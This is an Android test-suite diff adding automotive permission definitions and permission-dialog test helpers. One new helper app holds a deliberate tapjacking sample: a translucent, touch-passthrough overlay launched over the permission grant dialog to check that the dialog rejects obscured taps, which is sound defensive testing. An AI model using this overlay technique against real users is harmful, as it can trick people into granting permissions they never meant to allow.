+         android:description="@string/car_permission_desc_set_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_get_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_set_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_light"
+         android:description="@string/car_permission_desc_get_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_light"
+         android:description="@string/car_permission_desc_set_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_1"
+         android:description="@string/car_permission_desc_get_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_1"
+         android:description="@string/car_permission_desc_set_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_2"
+         android:description="@string/car_permission_desc_get_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_2"
+         android:description="@string/car_permission_desc_set_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_3"
+         android:description="@string/car_permission_desc_get_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_3"
+         android:description="@string/car_permission_desc_set_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_4"
+         android:description="@string/car_permission_desc_get_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_4"
+         android:description="@string/car_permission_desc_set_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_5"
+         android:description="@string/car_permission_desc_get_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_5"
+         android:description="@string/car_permission_desc_set_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_6"
+         android:description="@string/car_permission_desc_get_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_6"
+         android:description="@string/car_permission_desc_set_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_7"
+         android:description="@string/car_permission_desc_get_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_7"
+         android:description="@string/car_permission_desc_set_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_8"
+         android:description="@string/car_permission_desc_get_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_8"
+         android:description="@string/car_permission_desc_set_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_9"
+         android:description="@string/car_permission_desc_get_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_9"
+         android:description="@string/car_permission_desc_set_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_10"
+         android:description="@string/car_permission_desc_get_car_vendor_category_10"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_10"
+         android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
 
     <permission
         android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 82e2a2a..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -65,6 +65,10 @@
     private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION
             = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
 
+    private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
+    private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+            = "android.permission.MANAGE_COMPANION_DEVICES";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -437,9 +441,14 @@
     }
 
     private boolean shouldSkipPermission(String permissionName) {
-        return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE) &&
-                HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION.equals(permissionName);
-
+        switch (permissionName) {
+            case HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION:
+                return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
+            case MANAGE_COMPANION_DEVICES_PERMISSION:
+                return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            default:
+                return false;
+        }
     }
 
     private class ExpectedPermissionInfo {
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index be534b7..975f7cd 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -39,6 +39,7 @@
         ":CtsUsePermissionApp29",
         ":CtsUsePermissionAppLatest",
         ":CtsUsePermissionAppLatestWithBackground",
+        ":CtsUsePermissionAppWithOverlay",
     ],
     test_suites: [
         "cts",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index c4adbfc..557de85 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -25,6 +25,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermission3TestCases.apk" />
@@ -43,6 +45,7 @@
         <option name="push" value="CtsUsePermissionApp29.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp29.apk" />
         <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" />
         <option name="push" value="CtsUsePermissionAppLatestWithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestWithBackground.apk" />
+        <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
index 6b679d5..6ceaeee 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
@@ -30,6 +30,7 @@
         <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
         <activity android:name=".FinishOnCreateActivity" android:exported="true" />
         <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+        <activity android:name=".StartCheckPermissionServiceActivity" android:exported="true" />
         <service android:name=".CheckPermissionService" android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
new file mode 100644
index 0000000..9ddf757
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+
+class StartCheckPermissionServiceActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        startService(Intent(this, CheckPermissionService::class.java).putExtras(intent))
+        finish()
+    }
+}
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
similarity index 67%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
index d957080..da87122 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
@@ -15,16 +15,15 @@
 //
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "vts10",
-        "mts",
-        "general-tests",
+    name: "CtsUsePermissionAppWithOverlay",
+    srcs: [
+        "src/**/*.kt",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    resource_dirs: [
+        "res",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/AndroidManifest.xml
new file mode 100644
index 0000000..cd5ed27
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <application>
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+        <activity android:name=".OverlayActivity"
+                  android:theme="@style/OverlayTheme" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/drawable/border.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/drawable/border.xml
new file mode 100644
index 0000000..3c69373
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/drawable/border.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2020 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <corners
+        android:radius="4dp"/>
+    <stroke
+        android:width="4dp"
+        android:color="@android:color/black" />
+</shape>
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..0335357
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2020 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:background="@drawable/border"
+              android:padding="8dp" >
+
+    <TextView android:id="@+id/overlay_description"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:textColor="@android:color/black"
+              android:text="@string/app_description" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/strings.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/strings.xml
new file mode 100644
index 0000000..ca0b4ff
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2020 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<resources>
+    <string name="app_description">This activity attempts to tapjack the activity below.\nAny security sensitive controls below should not respond to taps as long as this activity is visible.</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/styles.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/styles.xml
new file mode 100644
index 0000000..880d940
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/values/styles.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2020 The Android Open Source Project
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<resources>
+    <style name="OverlayTheme" parent="android:Theme.Dialog">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+    </style>
+</resources>
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
new file mode 100644
index 0000000..2a61e12
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/OverlayActivity.kt
@@ -0,0 +1,18 @@
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.os.Bundle
+import android.view.WindowManager
+
+class OverlayActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(R.layout.overlay_activity)
+        val params = window.attributes
+        params.flags = (WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
+                WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL or
+                WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE or
+                WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
new file mode 100644
index 0000000..0d29202
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+import android.os.Handler
+
+class RequestPermissionsActivity : Activity() {
+    var paused = false
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        Handler(mainLooper).post(this::eventuallyRequestPermission)
+    }
+
+    /**
+     * Keep trying to requestPermissions until the dialog shows. It may fail the first few times
+     * due to rapid install/uninstall tests do
+     */
+    private fun eventuallyRequestPermission() {
+        if (paused) {
+            // Grant dialog should be in front at this point
+            startActivity(Intent(this, OverlayActivity::class.java)
+                    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+        } else {
+            val permissions = intent.getStringArrayExtra("$packageName.PERMISSIONS")!!
+            requestPermissions(permissions, 1)
+            Handler(mainLooper).postDelayed(this::eventuallyRequestPermission, 200)
+        }
+    }
+
+    override fun onRequestPermissionsResult(
+        requestCode: Int,
+        permissions: Array<out String>,
+        grantResults: IntArray
+    ) {
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
+
+        setResult(RESULT_OK, Intent().apply {
+            putExtra("$packageName.PERMISSIONS", permissions)
+            putExtra("$packageName.GRANT_RESULTS", grantResults)
+        })
+        finish()
+    }
+
+    override fun onPause() {
+        paused = true
+        super.onPause()
+    }
+
+    override fun onResume() {
+        paused = false
+        super.onResume()
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..5cd5c4f 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,7 @@
 import android.content.Context
 import android.content.Intent
 import android.content.pm.PackageManager
+import android.content.res.Resources
 import android.provider.Settings
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
@@ -52,6 +53,8 @@
     protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
     protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     protected val packageManager: PackageManager = context.packageManager
+    private val mPermissionControllerResources: Resources = context.createPackageContext(
+            context.packageManager.permissionControllerPackageName, 0).resources
 
     @get:Rule
     val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +90,10 @@
         pressHome()
     }
 
+    protected fun getPermissionControllerString(res: String): String =
+            mPermissionControllerResources.getString(mPermissionControllerResources
+                    .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
     protected fun installPackage(
         apkPath: String,
         reinstall: Boolean = false,
@@ -117,8 +124,8 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
-    protected fun click(selector: BySelector) {
-        waitFindObject(selector).click()
+    protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+        waitFindObject(selector, timeoutMillis).click()
         waitForIdle()
     }
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index d4f29c0..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -53,7 +53,28 @@
         const val APP_APK_PATH_LATEST = "$APK_DIRECTORY/CtsUsePermissionAppLatest.apk"
         const val APP_APK_PATH_LATEST_WITH_BACKGROUND =
                 "$APK_DIRECTORY/CtsUsePermissionAppLatestWithBackground.apk"
+        const val APP_APK_PATH_WITH_OVERLAY = "$APK_DIRECTORY/CtsUsePermissionAppWithOverlay.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.usepermission"
+
+        const val ALLOW_BUTTON =
+                "com.android.permissioncontroller:id/permission_allow_button"
+        const val ALLOW_FOREGROUND_BUTTON =
+                "com.android.permissioncontroller:id/permission_allow_foreground_only_button"
+        const val DENY_BUTTON = "com.android.permissioncontroller:id/permission_deny_button"
+        const val DENY_AND_DONT_ASK_AGAIN_BUTTON =
+                "com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button"
+        const val NO_UPGRADE_BUTTON =
+                "com.android.permissioncontroller:id/permission_no_upgrade_button"
+        const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
+                "com.android.permissioncontroller:" +
+                        "id/permission_no_upgrade_and_dont_ask_again_button"
+
+        const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+        const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+        const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+        const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+                "grant_dialog_button_deny_and_dont_ask_again"
+        const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
     }
 
     enum class PermissionState {
@@ -64,6 +85,7 @@
 
     protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+    protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
     private val permissionToLabelResNameMap =
@@ -178,11 +200,21 @@
     protected fun clearTargetSdkWarning() =
         click(By.res("android:id/button1"))
 
-    protected fun clickPermissionReviewContinue() =
-        click(By.res("com.android.permissioncontroller:id/continue_button"))
+    protected fun clickPermissionReviewContinue() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_continue")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/continue_button"))
+        }
+    }
 
-    protected fun clickPermissionReviewCancel() =
-        click(By.res("com.android.permissioncontroller:id/cancel_button"))
+    protected fun clickPermissionReviewCancel() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_cancel")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/cancel_button"))
+        }
+    }
 
     protected fun approvePermissionReview() {
         startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -217,6 +249,25 @@
         )
     }
 
+    protected inline fun requestAppPermissionsForNoResult(
+        vararg permissions: String?,
+        block: () -> Unit
+    ) {
+        // Request the permissions
+        context.startActivity(
+                Intent().apply {
+                    component = ComponentName(
+                            APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.RequestPermissionsActivity"
+                    )
+                    putExtra("$APP_PACKAGE_NAME.PERMISSIONS", permissions)
+                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                }
+        )
+        waitForIdle()
+        // Perform the post-request action
+        block()
+    }
+
     protected inline fun requestAppPermissions(
         vararg permissions: String?,
         block: () -> Unit
@@ -267,30 +318,55 @@
         block
     )
 
-    protected fun clickPermissionRequestAllowButton() =
-        click(By.res("com.android.permissioncontroller:id/permission_allow_button"))
+    protected fun clickPermissionRequestAllowButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+        } else {
+            click(By.res(ALLOW_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+        clickPermissionRequestSettingsLink()
         eventually({
-            clickPermissionRequestSettingsLink()
             clickAllowAlwaysInSettings()
         }, TIMEOUT_MILLIS * 2)
         pressBack()
     }
 
     protected fun clickAllowAlwaysInSettings() {
-        click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        }
     }
 
-    protected fun clickPermissionRequestAllowForegroundButton() =
-        click(By.res("com.android.permissioncontroller:id/permission_allow_foreground_only_button"))
+    protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+        if (isAutomotive) {
+            click(By.text(
+                    getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+        } else {
+            click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+        }
+    }
 
-    protected fun clickPermissionRequestDenyButton() =
-        click(By.res("com.android.permissioncontroller:id/permission_deny_button"))
+    protected fun clickPermissionRequestDenyButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndDeny() {
         clickPermissionRequestSettingsLink()
-        click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_deny")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        }
+        waitForIdle()
         pressBack()
     }
 
@@ -298,9 +374,15 @@
         waitForIdle()
         eventually {
             // UiObject2 doesn't expose CharSequence.
-            val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
-                    "com.android.permissioncontroller:id/detail_message"
-            )[0]
+            val node = if (isAutomotive) {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+                        "Allow in settings."
+                )[0]
+            } else {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+                        "com.android.permissioncontroller:id/detail_message"
+                )[0]
+            }
             assertTrue(node.isVisibleToUser)
             val text = node.text as Spanned
             val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -310,22 +392,25 @@
         waitForIdle()
     }
 
-    protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
-        click(
-            By.res("com.android.permissioncontroller:id/permission_deny_and_dont_ask_again_button")
-        )
+    protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
